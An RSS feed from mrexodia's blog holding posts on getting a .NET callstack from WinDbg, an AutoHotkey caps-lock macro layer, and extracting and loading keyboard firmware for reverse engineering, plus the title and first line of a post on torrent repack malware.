<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
        <title>mrexodia's blog</title>
        <description>mrexodia's blog - mrexodia</description>
        <link>https://mrexodia.github.io</link>
        <link>https://mrexodia.github.io</link>
        <lastBuildDate>2024-03-16T20:38:52+00:00</lastBuildDate>
        <pubDate>2024-03-16T20:38:52+00:00</pubDate>
        <ttl>1800</ttl>


        <item>
                <title>Dot Net Callstack From Windbg</title>
                <description>
&lt;p&gt;Recently I experienced a bug with &lt;a href=&quot;https://gitextensions.github.io/&quot;&gt;Git Extensions&lt;/a&gt; and I did not yet have &lt;a href=&quot;https://github.com/mrexodia/JitMagic&quot;&gt;JitMagic&lt;/a&gt; set up with &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot;&gt;dnSpy&lt;/a&gt; integration. I needed the callstack to report an issue to the developers.&lt;/p&gt;

&lt;p&gt;I chose &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools&quot;&gt;WinDbg&lt;/a&gt; as the just-in-time debugger. And simply ran &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!analyze -v&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

DEBUG_FLR_EXCEPTION_CODE(80131509) and the &quot;.exr -1&quot; ExceptionCode(e0434352) don't match
MethodDesc:   00007ffc4ae31d70
Method Name:  System.Reactive.Concurrency.SynchronizationContextScheduler.Schedule[[System.ValueTuple`2[[System.__Canon, mscorlib],[System.__Canon, mscorlib]], System.ValueTuple]](System.ValueTuple`2&amp;lt;System.__Canon,System.__Canon&amp;gt;, System.Func`3&amp;lt;System.Reactive.Concurrency.IScheduler,System.ValueTuple`2&amp;lt;System.__Canon,System.__Canon&amp;gt;,System.IDisposable&amp;gt;)
Class:        00007ffc7f601a38
MethodTable:  00007ffc7fed5ba0
mdToken:      00000000060011ac
Module:       00007ffc7f3b1000
IsJitted:     yes
CodeAddr:     00007ffc4ad2e360
Transparency: Critical
GetUrlPageData2 (WinHttp) failed: 12007.

KEY_VALUES_STRING: 1

    Key  : CLR.System.InvalidOperationException._message
    Value: Invoke or BeginInvoke cannot be called on a control until the window handle has been created.


STACKHASH_ANALYSIS: 1

TIMELINE_ANALYSIS: 1

Timeline: !analyze.Start
    Name: &amp;lt;blank&amp;gt;
    Time: 2020-02-16T21:23:49.402Z
    Diff: 402 mSec

Timeline: Dump.Current
    Name: &amp;lt;blank&amp;gt;
    Time: 2020-02-16T21:23:49.0Z
    Diff: 0 mSec

Timeline: Process.Start
    Name: &amp;lt;blank&amp;gt;
    Time: 2020-02-16T21:17:54.0Z
    Diff: 355000 mSec

Timeline: OS.Boot
    Name: &amp;lt;blank&amp;gt;
    Time: 2020-02-16T13:48:23.0Z
    Diff: 27326000 mSec


DUMP_CLASS: 2

DUMP_QUALIFIER: 0

FAULTING_IP: 
KERNELBASE!RaiseException+68
00007ffc`b7e7908c 488b8c24c0000000 mov     rcx,qword ptr [rsp+0C0h]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffcb7e7908c (KERNELBASE!RaiseException+0x0000000000000068)
   ExceptionCode: e0434352 (CLR exception)
  ExceptionFlags: 00000001
NumberParameters: 5
   Parameter[0]: ffffffff80131509
   Parameter[1]: 0000000000000000
   Parameter[2]: 0000000000000000
   Parameter[3]: 0000000000000000
   Parameter[4]: 00007ffcaa250000

FAULTING_THREAD:  000010d4

EXCEPTION_CODE: (HRESULT) 0x80131509 (2148734217) - &amp;lt;Unable to get error code text&amp;gt;

EXCEPTION_CODE_STR:  80131509

WATSON_BKT_PROCSTAMP:  5e1310a0

WATSON_BKT_PROCVER:  3.3.1.7897

PROCESS_VER_PRODUCT:  Git Extensions

WATSON_BKT_MODULE:  KERNELBASE.dll

WATSON_BKT_MODSTAMP:  5d26b6e9

WATSON_BKT_MODOFFSET:  908c

WATSON_BKT_MODVER:  6.3.9600.19425

MODULE_VER_PRODUCT:  Microsoft® Windows® Operating System

BUILD_VERSION_STRING:  9600.19629.amd64fre.winblue_ltsb_escrow.200127-1700

MODLIST_WITH_TSCHKSUM_HASH:  642958e44b66935a181d61b4c64e4bdbaa672d71

MODLIST_SHA1_HASH:  abdd8c7f6b6b349838b6e46c74e36108e0c55c11

NTGLOBALFLAG:  400

PROCESS_BAM_CURRENT_THROTTLED: 0

PROCESS_BAM_PREVIOUS_THROTTLED: 0

APPLICATION_VERIFIER_FLAGS:  0

PRODUCT_TYPE:  1

SUITE_MASK:  272

DUMP_TYPE:  fe

PROCESS_NAME:  unknown

MISSING_CLR_SYMBOL: 0

ANALYSIS_SESSION_HOST:  MYPC

ANALYSIS_SESSION_TIME:  02-16-2020 22:23:49.0402

ANALYSIS_VERSION: 10.0.17763.132 amd64fre

MANAGED_CODE: 1

MANAGED_ENGINE_MODULE:  clr

MANAGED_ANALYSIS_PROVIDER:  SOS

MANAGED_THREAD_ID: 10d4

MANAGED_EXCEPTION_ADDRESS: 3c4b0ff98

LAST_CONTROL_TRANSFER:  from 00007ffcaa26a451 to 00007ffcb7e7908c

THREAD_ATTRIBUTES: 
THREAD_SHA1_HASH_MOD_FUNC:  496307919b5c20eda4b6b1d7f8f57fe40ecc2624

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  27cfc7cdea8e40dd4dc3a7ebac53d16e2aeb6dac

OS_LOCALE:  NLD

BUGCHECK_STR:  CLR_EXCEPTION_System.InvalidOperationException

DEFAULT_BUCKET_ID:  CLR_EXCEPTION_System.InvalidOperationException

PRIMARY_PROBLEM_CLASS:  CLR_EXCEPTION

PROBLEM_CLASSES: 

    ID:     [0n254]
    Type:   [CLR_EXCEPTION]
    Class:  Primary
    Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
            BUCKET_ID
    Name:   Add
    Data:   Omit
    PID:    [Unspecified]
    TID:    [0x10d4]
    Frame:  [0] : KERNELBASE!RaiseException

    ID:     [0n252]
    Type:   [@ManagedObjectName]
    Class:  Addendum
    Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
            BUCKET_ID
    Name:   Omit
    Data:   Add
            String: [System.InvalidOperationException]
    PID:    [0x2f30]
    TID:    [Unspecified]
    Frame:  [0]

STACK_TEXT:  
00000003`dc8eec80 00007ffc`91ef1173 System_Windows_Forms_ni!System.Windows.Forms.Control.MarshaledInvoke+0x3d3
00000003`dc8eedc0 00007ffc`91ef0c72 System_Windows_Forms_ni!System.Windows.Forms.Control.BeginInvoke+0x62
00000003`dc8eee30 00007ffc`92972b71 System_Windows_Forms_ni!System.Windows.Forms.WindowsFormsSynchronizationContext.Post+0x51
00000003`dc8eee80 00007ffc`4ad2e47b System_Reactive_ni!System.Reactive.Concurrency.SynchronizationContextScheduler.Schedule[[System.ValueTuple_2[[System.__Canon,_mscorlib],[System.__Canon,_mscorlib]],_System.ValueTuple]]+0x11b
00000003`dc8eeef0 00007ffc`7fb379b4 System_Reactive_ni!System.Reactive.Concurrency.Scheduler.ScheduleAction[[System.__Canon,_mscorlib]]+0x154
00000003`dc8eef70 00007ffc`7fc56771 System_Reactive_ni!System.Reactive.Linq.ObservableImpl.EventProducer_2+Session+__c[[System.__Canon,_mscorlib],[System.__Canon,_mscorlib]]._Connect_b__5_0+0xf1
00000003`dc8eeff0 00007ffc`7fc623e2 System_Reactive_ni!System.Reactive.Disposables.AnonymousDisposable_1[[System.ValueTuple_3[[System.__Canon,_mscorlib],[System.__Canon,_mscorlib],[System.__Canon,_mscorlib]],_System.ValueTuple]].Dispose+0x82
00000003`dc8ef050 00007ffc`7fb3478e System_Reactive_ni!System.Reactive.Disposables.Disposable.TryDispose+0x5e
00000003`dc8ef090 00007ffc`7fc49314 System_Reactive_ni!System.Reactive.Linq.ObservableImpl.Throttle_1+_[[System.__Canon,_mscorlib]].Dispose+0x24
00000003`dc8ef0c0 00007ffc`7fb4797b System_Reactive_ni!System.Reactive.Sink_1[[System.__Canon,_mscorlib]].Dispose+0xab
00000003`dc8ef120 00007ffc`7fb3478e System_Reactive_ni!System.Reactive.Disposables.Disposable.TryDispose+0x5e
00000003`dc8ef160 00007ffc`7fb49003 System_Reactive_ni!System.Reactive.ObserveOnObserverNew_1[[System.__Canon,_mscorlib]].Dispose+0x23
00000003`dc8ef1a0 00007ffc`7fb4797b System_Reactive_ni!System.Reactive.Sink_1[[System.__Canon,_mscorlib]].Dispose+0xab
00000003`dc8ef200 00007ffc`81b9697b GitUI_ni!GitUI.CommitInfo.CommitInfoHeader.DisposeCustomResources+0x1b
00000003`dc8ef230 00007ffc`81aa6643 GitUI_ni!GitUI.GitModuleControl.Dispose+0x53
00000003`dc8ef270 00007ffc`a8233371 System_ni!System.ComponentModel.Component.Finalize+0x11


STACK_COMMAND:  !sos.pe 0x3c4b0ff98 ; ** Pseudo Context ** ManagedPseudo ** Value: 534961d8e0 ** ; kb

THREAD_SHA1_HASH_MOD:  15163896b4156cc0a0208a3b87e3d5d6d3923e94

FOLLOWUP_IP: 
System_Windows_Forms_ni+2c1173
00007ffc`91ef1173 90              nop

FAULT_INSTR_CODE:  1247e890

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  System_Windows_Forms_ni!System.Windows.Forms.Control.MarshaledInvoke+2c1173

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: System_Windows_Forms

IMAGE_NAME:  System.Windows.Forms.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  5d7a9e88

FAILURE_BUCKET_ID:  CLR_EXCEPTION_System.InvalidOperationException_80131509_System.Windows.Forms.dll!System.Windows.Forms.Control.MarshaledInvoke

BUCKET_ID:  CLR_EXCEPTION_System.InvalidOperationException_System_Windows_Forms_ni!System.Windows.Forms.Control.MarshaledInvoke+2c1173

FAILURE_EXCEPTION_CODE:  80131509

FAILURE_IMAGE_NAME:  System.Windows.Forms.dll

BUCKET_ID_IMAGE_STR:  System.Windows.Forms.dll

FAILURE_MODULE_NAME:  System_Windows_Forms

BUCKET_ID_MODULE_STR:  System_Windows_Forms

FAILURE_FUNCTION_NAME:  System.Windows.Forms.Control.MarshaledInvoke

BUCKET_ID_FUNCTION_STR:  System.Windows.Forms.Control.MarshaledInvoke

BUCKET_ID_OFFSET:  2c1173

BUCKET_ID_MODPRIVATE: 1

BUCKET_ID_MODTIMEDATESTAMP:  5d7a9e88

BUCKET_ID_MODCHECKSUM:  0

BUCKET_ID_MODVER_STR:  4.8.4042.0

BUCKET_ID_PREFIX_STR:  CLR_EXCEPTION_System.InvalidOperationException_

FAILURE_PROBLEM_CLASS:  CLR_EXCEPTION

FAILURE_SYMBOL_NAME:  System.Windows.Forms.dll!System.Windows.Forms.Control.MarshaledInvoke

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/unknown/3.3.1.7897/5e1310a0/KERNELBASE.dll/6.3.9600.19425/5d26b6e9/80131509/0000908c.htm?Retriage=1

TARGET_TIME:  2020-02-16T21:23:56.000Z

OSBUILD:  9600

OSSERVICEPACK:  19538

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 8.1

OSEDITION:  Windows 8.1 WinNt SingleUserTS

USER_LCID:  0

OSBUILD_TIMESTAMP:  2019-10-15 05:45:31

BUILDDATESTAMP_STR:  200127-1700

BUILDLAB_STR:  winblue_ltsb_escrow

BUILDOSVER_STR:  6.3.9600.19629.amd64fre.winblue_ltsb_escrow.200127-1700

ANALYSIS_SESSION_ELAPSED_TIME:  1dab

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:clr_exception_system.invalidoperationexception_80131509_system.windows.forms.dll!system.windows.forms.control.marshaledinvoke

FAILURE_ID_HASH:  {c279e3a4-dab2-09ec-a135-2281bfa61101}

Followup:     MachineOwner
---------

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Everything was magically analyzed and I was able to &lt;a href=&quot;https://github.com/gitextensions/gitextensions/issues/7748&quot;&gt;open an issue&lt;/a&gt;. As an added bonus I recently worked to allowing dnSpy to be used as a JIT debugger from JitMagic:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/RIFsOeS.png&quot; alt=&quot;dnSpy JIT&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Best regards,&lt;/p&gt;

&lt;p&gt;Duncan&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/programming/2020/02/16/Dot-net-callstack-from-WinDbg</link>
                <guid>https://mrexodia.github.io/programming/2020/02/16/Dot-net-callstack-from-WinDbg</guid>
                <pubDate>2020-02-16T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Not Analyzing Keyboard Firmware Part 3</title>
                <description>
&lt;p&gt;In the &lt;a href=&quot;/reversing/2019/09/28/Analyzing-keyboard-firmware-part-1&quot;&gt;first post&lt;/a&gt; I briefly discussed my motivation to analyze the keyboard’s firmware and I did make a small amount of progress since last time (thanks to &lt;a href=&quot;https://www.reddit.com/user/thoquz/&quot;&gt;/u/thoquz&lt;/a&gt; who suggested to try &lt;a href=&quot;https://leveldown.de/blog/svd-loader/&quot;&gt;SVD Loader&lt;/a&gt;), but unfortunately other projects required my attention and I didn’t think there was enough (interesting) progress to report. However I did make significant progress towards solving my actual problem (a caps lock macro layer), so I decided to share that here as well!&lt;/p&gt;

&lt;h2 id=&quot;the-macro-layer&quot;&gt;The macro layer&lt;/h2&gt;

&lt;p&gt;The solution I came up with is based on &lt;a href=&quot;https://www.autohotkey.com/&quot;&gt;AutoHotkey&lt;/a&gt;, which I heard about but never actually used myself before. For those not familiar, AutoHotkey allows you to create system-wide hotkeys in a custom scripting language. It is a bit weird, but it can apparently do &lt;a href=&quot;https://www.autohotkey.com/docs/scripts/&quot;&gt;crazy things&lt;/a&gt;, so why not give it a try?&lt;/p&gt;

&lt;p&gt;After a while of thinking and experimenting I came up with the following key map (thanks to &lt;a href=&quot;http://www.keyboard-layout-editor.com/&quot;&gt;Keyboard Layout Editor&lt;/a&gt;. Green is the macro layer, the rest is just for reference:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/udcwq2u.png&quot; alt=&quot;macro layer&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Initially I just had the arrows + home/end, but while doing some actual programming work I came up with a bunch of other useful things. For example &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Caps+G(it)&lt;/code&gt; is bound to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;F13&lt;/code&gt;, which I linked in Visual Studio to start my &lt;a href=&quot;https://github.com/mrexodia/FunUtils#gitextbar&quot;&gt;GitExtBar&lt;/a&gt; utility:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/pmFrNBu.png&quot; alt=&quot;GitExtBar&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Similarly I bound &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Caps+E(xplore)&lt;/code&gt; to my DirBrowser utility in Visual Studio, which allows me to quickly open the project’s output directory in &lt;a href=&quot;https://www.ghisler.com/&quot;&gt;Total Commander&lt;/a&gt; or a command prompt:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/iN1KrQM.png&quot; alt=&quot;DirBrowser&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A bunch of C++ related symbols are also bound to this layer, so I can keep holding caps lock when closing an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if&lt;/code&gt;-block. I also bound &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Caps+S/D&lt;/code&gt; to scroll the mouse wheel, something I always appreciate in my browser with &lt;a href=&quot;https://key.saka.io/docs/about/introduction&quot;&gt;Saka Key&lt;/a&gt;. Finally &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Alt&lt;/code&gt; is also used for quickly navigating. For Left/Right it acts as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl&lt;/code&gt; (meaning &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Caps+Alt+J&lt;/code&gt; maps to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl+Left&lt;/code&gt;), for Home/End it acts as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Shift&lt;/code&gt; (meaning &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Caps+Alt+U&lt;/code&gt; maps to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Shift+Home&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;If you are interested you can find a snapshot of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;capslayer.ahk&lt;/code&gt; &lt;a href=&quot;https://gist.github.com/mrexodia/efe08d2ea563f82750db328b7a77b76c&quot;&gt;here&lt;/a&gt;. I set up a cloud sync service and a hotkey to quickly reload the script to make sure things work the same across my various computers. Additionally I run the script as Administrator on login to make sure it is always available everywhere.&lt;/p&gt;

&lt;h2 id=&quot;beating-old-habits&quot;&gt;Beating old habits&lt;/h2&gt;

&lt;p&gt;Even though my macro layer was working perfectly I still found myself using the arrows and home/end keys over the macro keys all the time. Because I think the macro layer will be a more economic way of typing in the long run I decided to completely disable the original keys (which thankfully is super easy with AutoHotkey). This was quite a pain for a few days at work, but I can now (proudly?) say that I am typing utter garbage on other machines.&lt;/p&gt;

&lt;p&gt;Generally I noticed that when it comes to forming habits on your computer, you should always use that same computer to simply enforce what you want to learn and punish old habits. Want to take more breaks? Simply configure &lt;a href=&quot;http://www.workrave.org/&quot;&gt;Workrave&lt;/a&gt; to &lt;strong&gt;not allow you to continue&lt;/strong&gt; and block all inputs. Want to get yourself in the habit of using Total Commander (which, frankly, you should if you value your time as a professional using Windows), use AutoHotkey to redirect &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Win+E&lt;/code&gt; to start Total Commander. Want to browse social media less? Use &lt;a href=&quot;http://www.stayfocusd.com/&quot;&gt;StayFocusd&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-future&quot;&gt;The future&lt;/h2&gt;

&lt;p&gt;If time permits and interest comes back I will definitely continue analyzing the keyboard firmware, because I did learn a lot from the short amount of time I spent on it so far. However, for my daily needs I will keep fine-tuning this AutoHotkey-based solution because it is so much easier. I did already find &lt;a href=&quot;https://pqrs.org/osx/karabiner/&quot;&gt;Karabiner-Elements&lt;/a&gt; for macOS, which should allow similar things, so I will play with that a bit before my trip next month.&lt;/p&gt;

&lt;p&gt;Please let me know if you have any questions or suggestions with regards to my workflow and have a good week!&lt;/p&gt;

&lt;p&gt;Duncan&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/reversing/2019/11/25/Not-analyzing-keyboard-firmware-part-3</link>
                <guid>https://mrexodia.github.io/reversing/2019/11/25/Not-analyzing-keyboard-firmware-part-3</guid>
                <pubDate>2019-11-25T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Analyzing Keyboard Firmware Part 2</title>
                <description>
&lt;p&gt;In &lt;a href=&quot;/reversing/2019/09/28/Analyzing-keyboard-firmware-part-1&quot;&gt;last post&lt;/a&gt; we looked at obtaining the firmware for my new keyboard. I downloaded the firmware update utility and extracted a firmware image. The next step will be to set up the tooling and try to build a hello world as a point of reference.&lt;/p&gt;

&lt;p&gt;I think the first step to any reverse engineering project should be to try and understand how the software you are reverse engineering was developed. Things like the libraries and compilers involved are very important, because without that frame of reference you might waste a lot of time on unimportant implementation details. If you are interested there is a great talk by Alex Ionescu called &lt;a href=&quot;https://www.youtube.com/watch?v=2D9ExVc0G10&quot;&gt;Reversing Without Reversing&lt;/a&gt; that goes more in depth about this topic.&lt;/p&gt;

&lt;h2 id=&quot;the-tools&quot;&gt;The tools&lt;/h2&gt;

&lt;p&gt;Now the tricky part about writing a post like this is that it takes hours of research (downloading files, trying different things), but in the end it can be represented as a simple list:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Download and install &lt;a href=&quot;http://www.keil.com/arm/mdk.asp&quot;&gt;Keil MDK-ARM&lt;/a&gt; (you can get an evaluation version);&lt;/li&gt;
  &lt;li&gt;Install the pack for the SN32F240;&lt;/li&gt;
  &lt;li&gt;Download and install &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SN32F240_Startkit_Package_V3.4R.zip&lt;/code&gt;;&lt;/li&gt;
  &lt;li&gt;Open the project in Keil uVision5;&lt;/li&gt;
  &lt;li&gt;Hit build.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pretty much all of the information (including the download links) can be found on the &lt;a href=&quot;http://www.sonix.com.tw/article-en-998-21395&quot;&gt;SN32F40 product page&lt;/a&gt;. Initially I was having some issues having to be logged in to download the starter kit, but that got magically resolved and from there it was easy.&lt;/p&gt;

&lt;p&gt;Installing Keil MDK-ARM is straightforward, just fill in the evaluation form and run the installer. You can then use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PackInstaller.exe&lt;/code&gt; to search for and install the SN32F240 pack (alternatively you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SONiX.SN32F2_DFP.1.2.11.pack&lt;/code&gt; from the starter kit):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/3Nimg5N.png&quot; alt=&quot;toolkit installation&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You then need to install SONiX’ proprietary &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hex2Bin&lt;/code&gt; utility and open &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SN32F240_Startkit_Package_V3.4R\CMSIS Firmware Library_V3.2\USB_Library_For_64K_V1.5\SN32F240_Demo.uvprojx&lt;/code&gt; in the IDE and hit build (F7). If you did everything right you should see something like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HexConvertVer = V24
CheckSum = 0xAC6E
&quot;.\obj\SN32F240.axf&quot; - 0 Error(s), 0 Warning(s).
Build Time Elapsed:  00:00:01
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now if you take a look in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obj&lt;/code&gt; directory there are two interesting files: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SN32F240.BIN&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SN32F240.axf&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.BIN&lt;/code&gt; file is a firmware image very similar to the one extracted earlier and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.axf&lt;/code&gt; is a regular ELF file.&lt;/p&gt;

&lt;h2 id=&quot;ghidra&quot;&gt;Ghidra&lt;/h2&gt;

&lt;p&gt;If you have been living under a rock you might not know that the NSA released their reverse engineering suite called &lt;a href=&quot;https://ghidra-sre.org&quot;&gt;Ghidra&lt;/a&gt; a while back. I tried it out a little, but didn’t really have a use case yet so I decided to try and use it for this project. I also tried IDA and it worked fine on the ELF file, but it was a total mess setting up the memory map and getting references to work so I decided to stick with Ghidra.&lt;/p&gt;

&lt;p&gt;There was also a bug with Ghidra 9.0.2, so I will be using the 9.1-BETA_DEV version. Now all left to do is create a project in Ghidra, import &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SN32F240.axf&lt;/code&gt; and load it in the CodeBrowser:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/jO3GQHX.png&quot; alt=&quot;ghidra&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;next-steps&quot;&gt;Next steps&lt;/h2&gt;

&lt;p&gt;In the next post we will take a look at the firmware initialization routines and use the information obtained from the ELF file and the datasheet to be able to properly load and analyze the extracted keyboard firmware. The posts are a bit short for my taste right now, but I do not have that much time to spend on this project so I think it allows me to write more consistently like this.&lt;/p&gt;

&lt;p&gt;Best regards,&lt;/p&gt;

&lt;p&gt;Duncan&lt;/p&gt;

&lt;p&gt;Thanks again to F. for the proofread!&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/reversing/2019/10/13/Analyzing-keyboard-firmware-part-2</link>
                <guid>https://mrexodia.github.io/reversing/2019/10/13/Analyzing-keyboard-firmware-part-2</guid>
                <pubDate>2019-10-13T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Analyzing Keyboard Firmware Part 1</title>
                <description>
&lt;p&gt;Recently I bought a cheap &lt;a href=&quot;https://spcgear.com/en/products/gk530-tournament-kailh-brown-rgb-2/&quot;&gt;SPC Gear GK530&lt;/a&gt; mechanical keyboard to test out the Kailh Brown keyswitches. Overall it has a nice feel and you can change the epic RGB-lights to just be a dimmed constant color so I would recommend it for typing.&lt;/p&gt;

&lt;p&gt;Unfortunately the macro/rebind feature is not very much to my liking. Right now you have to switch to &lt;em&gt;Gaming mode&lt;/em&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FN+Win&lt;/code&gt;) and then you can use use your modified keymap (with macros). In this mode you cannot use the Windows key (because it is locked) and it is generally quite awkward.&lt;/p&gt;

&lt;p&gt;My preferred mode would be that holding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Caps Lock&lt;/code&gt; enables my custom layer, which unfortunately does not seem to be supported. At this point I thought it would be a fun project to try and hack the firmware to support this behavior.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/WqaAxFi.png&quot; alt=&quot;keyboard&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;obtaining-the-firmware&quot;&gt;Obtaining the firmware&lt;/h2&gt;

&lt;p&gt;Luckily for us SPC Gear provides two firmware update utilities on their &lt;a href=&quot;https://spcgear.com/en/support/software/&quot;&gt;Software page&lt;/a&gt;. The utility is called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1 - GK530 keyboard upgrade.exe&lt;/code&gt; and when I started it I was reminded of a similar utility I took at look at in the past.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/yBzOPfh.png&quot; alt=&quot;firmware upgrade&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The similar utility was a firmware upgrade tool for my current keyboard:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/f46qDKx.png&quot; alt=&quot;similar utility&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When looking at a firmware upgrade tool in the past &lt;a href=&quot;https://github.com/lentinj/tp-compact-keyboard/issues/32#issuecomment-376147869&quot;&gt;I documented it&lt;/a&gt; on a Github issue. From a quick glance it appears that nothing has changed, except that the firmware is no longer ‘encypted’ now and the UI looks a bit more fancy.&lt;/p&gt;

&lt;p&gt;To obtain the image:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Extract the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;BINARY&quot;&lt;/code&gt; resource (170). You can use &lt;a href=&quot;https://ntcore.com/?page_id=388&quot;&gt;CFF Explorer&lt;/a&gt; for this task.&lt;/li&gt;
  &lt;li&gt;The extracted blob is an executable with no functionality, which has an ‘overlay’ appended to it (data after the end of the last section).&lt;/li&gt;
  &lt;li&gt;The overlay is the firmware image (65k) with some additional metadata at the end.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/KrLcUVi.png&quot; alt=&quot;metadata&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The interesting string there is at the very end, which says &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SN32F24x&lt;/code&gt; (all SONiX chips seem to start with SN). With a bit of Google-fu and creativity you can land on the product page for the &lt;a href=&quot;http://www.sonix.com.tw/article-en-998-21395&quot;&gt;SN32F248&lt;/a&gt;. Over there you can also find a bunch of links to utilities and manuals, one of which is called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SONiX_USB_MCU_ISP_Tool_V2.3.1.7.7z&lt;/code&gt;. Opening the extracted firmware yields a good result:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/wS9TGdp.png&quot; alt=&quot;original flash tool&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Additionally there is also a data sheet available to the public (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SN32F248_V2.0_EN.pdf&lt;/code&gt;), which should help progressing further. Initial information I gathered is that the chip is based on an ARM Cortex-M0.&lt;/p&gt;

&lt;h2 id=&quot;next-steps&quot;&gt;Next steps&lt;/h2&gt;

&lt;p&gt;My next idea of progression is to try and set up the same tooling as someone developing hardware with this chip would. Get a C compiler and actually build a ROM of our own, to have a point of reference when starting reverse engineering. I do not have any experience looking at ARM code and not much experience with embedded software, so anything to aid my understanding in that area will be good.&lt;/p&gt;

&lt;p&gt;Hopefully till next time,&lt;/p&gt;

&lt;p&gt;Duncan&lt;/p&gt;

&lt;p&gt;Thanks to F for the proofread!&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/reversing/2019/09/28/Analyzing-keyboard-firmware-part-1</link>
                <guid>https://mrexodia.github.io/reversing/2019/09/28/Analyzing-keyboard-firmware-part-1</guid>
                <pubDate>2019-09-28T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Analyzing Torrent Repack Malware</title>
                <description>
&lt;p&gt;Never trust a repack…&lt;/p&gt;

